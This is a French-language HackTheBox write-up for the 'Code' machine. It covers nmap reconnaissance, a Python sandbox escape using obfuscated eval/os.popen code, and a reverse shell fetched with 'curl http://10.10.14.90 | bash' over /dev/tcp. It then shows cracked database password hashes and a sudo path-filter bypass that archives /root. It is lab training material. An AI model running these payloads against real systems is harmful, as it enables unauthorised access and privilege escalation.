> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# Compte rendu HackTheBox de Code

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**Compétences :**

* Exploitation SSTI – Éditeur de code Python
* Extraction de base de données SQLite et cassage de hachage
* Contournement de backy.sh via manipulation de chemin (élévation de privilèges)
* Extraction d’une archive Tar depuis le répertoire racine
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/b0f44db9717da9d557aa7f7ca2b44749afdc122e" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/b56b98f00b4a2e0d07e847238bd9d8d9c77149b3" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/954b1ca98dd19d7f37db922df57604acabfaaace" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/764b4315cf5036dabe673acb0f0678a752bcdce6" alt=""><figcaption></figcaption></figure>

## Exploitation SSTI – Éditeur de code Python

<figure><img src="/files/cef413beaaeaf564ea52662fa686bdaf86c90eda" alt=""><figcaption></figcaption></figure>

Un éditeur de code Python est découvert sur le port 5000. Lors des tentatives d’injection classiques (`import os`, `exec`, etc.), des erreurs sont générées.

<figure><img src="/files/cac05f4dcd6f96caf2d56fe503ffd84ba96b5f00" alt=""><figcaption></figcaption></figure>

Pour contourner les restrictions, nous utilisons une boucle pour identifier une classe permettant d’accéder aux fonctions intégrées (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> Cette boucle Python tente d’exploiter une injection de modèle côté serveur (SSTI) en recherchant les sous-classes de l’objet de base de Python (`object`) pour une classe qui expose l’environnement global (`__globals__`) via sa `__init__` méthode. À chaque itération, elle récupère le dictionnaire des fonctions intégrées (`__builtins__`) en reconstruisant son nom pour éviter un filtrage simple. Si l’objet contient la `eval` fonction eval, l’indice de la classe est affiché. Cette technique est couramment utilisée pour atteindre des fonctions dangereuses telles que `eval`, `exec`, et `l'ouvrent`.

<figure><img src="/files/eadf597fe6138172fe291266a82a5989e94fff03" alt=""><figcaption></figcaption></figure>

### Lecture `/etc/passwd`

Une fois l’objet contenant `eval`  est identifié, nous exécutons :

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

Cela révèle deux utilisateurs : `martin` et `production`.

<figure><img src="/files/90c90556d3bfce4c14bca007bbfff23f5a28285e" alt=""><figcaption></figcaption></figure>

### **Shell inversé**

#### À l'écoute sur le port 443 :

```bash
nc -nvlp 443
```

#### Script de reverse shell :

Créer un `index.html` fichier contenant :

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

Lancement d’un serveur web :

```bash
python3 -m http.server 80
```

Injection du payload :

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/e94e03c00afa8bc90c26eebeb77a4e480ebf34b4" alt=""><figcaption></figcaption></figure>

#### Gestion du terminal :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/840c5a57f8c5043bc0930057adf3f2dafd8723d3" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

### Accès SSH avec l’utilisateur `martin`

<figure><img src="/files/74ed990fd8d02eb4c7708fc81c4b3dbf48a02b8e" alt=""><figcaption></figcaption></figure>

Nous découvrons un `database.db` fichier. L’inspection via SQLite révèle deux utilisateurs (`development`, `martin`) avec des hachages de mot de passe.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">Utilisateurs</th><th>hachages</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>martin</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/81bafd1cb3c94ba097419a6db939328f1b42b329" alt=""><figcaption></figcaption></figure>

Cassez les mots de passe avec [CrackStation](https://crackstation.net/), puis connectez-vous :

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">Utilisateurs</th><th>hachages</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>martin</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/280d5a45b03c542f0d272d6e9202490fd981c28a" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/8857b357f81644dfdcc7074d1f8e93d8183665bb" alt=""><figcaption></figcaption></figure>

### Sudo - backy.sh (script)

Nous apprenons que `martin` peut exécuter `/usr/bin/backy.sh` en tant que root.

```bash
sudo -l
```

<figure><img src="/files/cebc60c560f2bc9349dbd3245fe6b1ce02d2d709" alt=""><figcaption></figcaption></figure>

**Le script vérifie :**

* Que le fichier JSON donné existe ou non,
* Que chaque chemin dans `directories_to_archive` se trouve sous `/var/` ou `/home/`,
* Supprime `../` les séquences via `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Utilisation : $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Erreur : le fichier '$json_file' est introuvable."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Erreur : $dir n'est pas autorisé. Seuls les répertoires sous /var/ et /home/ sont autorisés."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**Contournement :**

Nous configurons un `pwned.json` fichier :

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

Exécution :

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/9b9afbb3a2ddf3b8c6e4c9a8413ce4a815677220" alt=""><figcaption></figcaption></figure>

Décompression :

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### Drapeau root.txt :)

<figure><img src="/files/0c49f27b45a330db77b0e92ee9675602de6b06fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8a1c887ea9626151685b1d508a69d937f91a7772" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
